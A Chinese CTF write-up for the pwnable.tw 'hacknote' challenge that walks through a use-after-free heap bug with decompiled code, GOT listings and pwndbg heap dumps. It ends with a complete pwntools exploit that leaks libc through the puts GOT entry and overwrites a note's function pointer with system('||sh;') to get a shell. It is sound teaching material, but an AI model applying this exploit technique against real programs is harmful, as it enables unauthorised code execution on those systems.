开篇废话:复现 EXP 的过程不在于跑完 EXP 拿到 shell,而是完整的复现 EXP 的每一步,包括找到漏洞在哪里,如何触发漏洞,如何控制 EIP,如何绕过保护,如何拿到 shell
要多问为什么?而不是这里对了就走了,那里不对了就不管了,最重要的是自己上手调试
题目链接:hacknote
https://pwnable.tw/challenge
参考链接:
https://v1ckydxp.github.io/2019/05/02/pwnable.tw-hacknote-writeup/
逆向过程分析:
标红处是明显的漏洞点了:函数的漏洞很好找,在 free 后,没有指针赋空值 ,缺少这么一行代码
[C] 纯文本查看 复制代码 ptr + v1 -> NULL
本题(常规题)思路:控制 EIP => 泄露信息 => system("/bin/sh")
使用 UAF,就得先控制 EIP
[Asm] 纯文本查看 复制代码 .got.plt:0804A00C off_804A00C dd offset read ; DATA XREF: _read↑r
.got.plt:0804A010 off_804A010 dd offset printf ; DATA XREF: _printf↑r
.got.plt:0804A014 off_804A014 dd offset _exit ; DATA XREF: __exit↑r
.got.plt:0804A018 off_804A018 dd offset free ; DATA XREF: _free↑r
.got.plt:0804A01C off_804A01C dd offset __stack_chk_fail
.got.plt:0804A01C ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0804A020 off_804A020 dd offset malloc ; DATA XREF: _malloc↑r
.got.plt:0804A024 off_804A024 dd offset puts ; DATA XREF: _puts↑r
.got.plt:0804A028 off_804A028 dd offset exit ; DATA XREF: _exit↑r
.got.plt:0804A02C off_804A02C dd offset __libc_start_main
观察 Add 函数并调试 Add 过程
[Asm] 纯文本查看 复制代码 *(&ptr + (_DWORD)i) = malloc(8u);
*(_DWORD *)*(&ptr + (_DWORD)i) = sub_804862B;
int __cdecl sub_804862B(int a1)
{
return puts(*(const char **)(a1 + 4));
}
v0 = (int)*(&ptr + (_DWORD)i);
*(_DWORD *)(v0 + 4) = malloc(size);
read(0, *((void **)*(&ptr + (_DWORD)i) + 1), size);
在 pwndbg 里看看数据
[Asm] 纯文本查看 复制代码 add_note(32,"a" * 32)
add_note(32,"b" * 32)
pwndbg> x/40wx 0x8ce6160
0x8ce6160: 0x0804862b 0x08ce6170 0x00000000 0x00000031
0x8ce6170: 0x61616161 0x61616161 0x61616161 0x61616161
0x8ce6180: 0x61616161 0x61616161 0x61616161 0x61616161
0x8ce6190: 0x00000000 0x00000000 0x00000000 0x00000011
0x8ce61a0: 0x0804862b 0x08ce61b0 0x00000000 0x00000031
0x8ce61b0: 0x62626262 0x62626262 0x62626262 0x62626262
0x8ce61c0: 0x62626262 0x62626262 0x62626262 0x62626262
0x8ce61d0: 0x00000000 0x00000000 0x00000000 0x00021e29
0x8ce61e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ce61f0: 0x00000000 0x00000000 0x00000000 0x00000000
Q:为什么要 add_note(32)而不能 add_note(8)?
观察 Del 函数,实际上是只处理了指针,并没有修改整个数据
[Asm] 纯文本查看 复制代码
free_note(0)
pwndbg> x/40wx 0x8ce6160
0x8ce6160: 0x00000000 0x08ce6010 0x00000000 0x00000031
0x8ce6170: 0x00000000 0x08ce6010 0x61616161 0x61616161
0x8ce6180: 0x61616161 0x61616161 0x61616161 0x61616161
0x8ce6190: 0x00000000 0x00000000 0x00000000 0x00000011
0x8ce61a0: 0x0804862b 0x08ce61b0 0x00000000 0x00000031
0x8ce61b0: 0x62626262 0x62626262 0x62626262 0x62626262
0x8ce61c0: 0x62626262 0x62626262 0x62626262 0x62626262
0x8ce61d0: 0x00000000 0x00000000 0x00000000 0x00021e29
0x8ce61e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ce61f0: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg> bins
tcachebins
0x10 [ 1]: 0x8ce6160 ◂— 0x0
0x20 [ 1]: 0x8ce6170 ◂— 0x0
free_note(1)
pwndbg> x/40wx 0x8ce6160
0x8ce6160: 0x00000000 0x08ce6010 0x00000000 0x00000031
0x8ce6170: 0x00000000 0x08ce6010 0x61616161 0x61616161
0x8ce6180: 0x61616161 0x61616161 0x61616161 0x61616161
0x8ce6190: 0x00000000 0x00000000 0x00000000 0x00000011
0x8ce61a0: 0x08ce6160 0x08ce6010 0x00000000 0x00000031
0x8ce61b0: 0x08ce6170 0x08ce6010 0x62626262 0x62626262
0x8ce61c0: 0x62626262 0x62626262 0x62626262 0x62626262
0x8ce61d0: 0x00000000 0x00000000 0x00000000 0x00021e29
0x8ce61e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ce61f0: 0x00000000 0x00000000 0x00000000 0x00000000
tcachebins
0x10 [ 2]: 0x8ce61a0 —▸ 0x8ce6160 ◂— 0x0
0x20 [ 2]: 0x8ce61b0 —▸ 0x8ce6170 ◂— 0x0
利用 print 函数,我们可以实现泄露信息
[Asm] 纯文本查看 复制代码 add_note(8,p32(print_content)+p32(puts_got_addr))
那么,再 del(2),再申请一个我们自己构造的 payload 的 note,就完成任务了
[Python] 纯文本查看 复制代码 from pwn import *
debug = 0
online = 1
if debug == 1:
context.log_level = "debug"
if online == 0:
io = process("./hacknote")
libc_elf = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
io = remote("chall.pwnable.tw", 10102)
libc_elf = ELF("./libc_32.so.6")
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))
def add_note(size, content):
ru("choice :")
sl("1")
ru("size :")
sl(str(size))
ru("Content :")
sl(content)
def free_note(index):
ru("choice :")
sl("2")
ru("Index :")
sl(str(index))
def print_note(index):
ru("choice :")
sl("3")
ru("Index :")
sl(str(index))
puts_got_addr = 0x0804A024
print_content = 0x0804862B
add_note(32, "a") #add(0)
add_note(32, "b") #add(1)
free_note(0)
free_note(1)
add_note(8, p32(print_content) + p32(puts_got_addr)) #add(2)
print_note(0) #print puts addr
puts_leak_addr = u32(io.recv(4))
libc_base_addr = puts_leak_addr - libc_elf.symbols[b"puts"]
system_addr = libc_base_addr + libc_elf.symbols[b"system"]
free_note(2)
add_note(8, p32(system_addr) + b"||sh;")
#add_note(8, flat([system_addr, b"||sh;"]))
print_note(0)
io.interactive()
|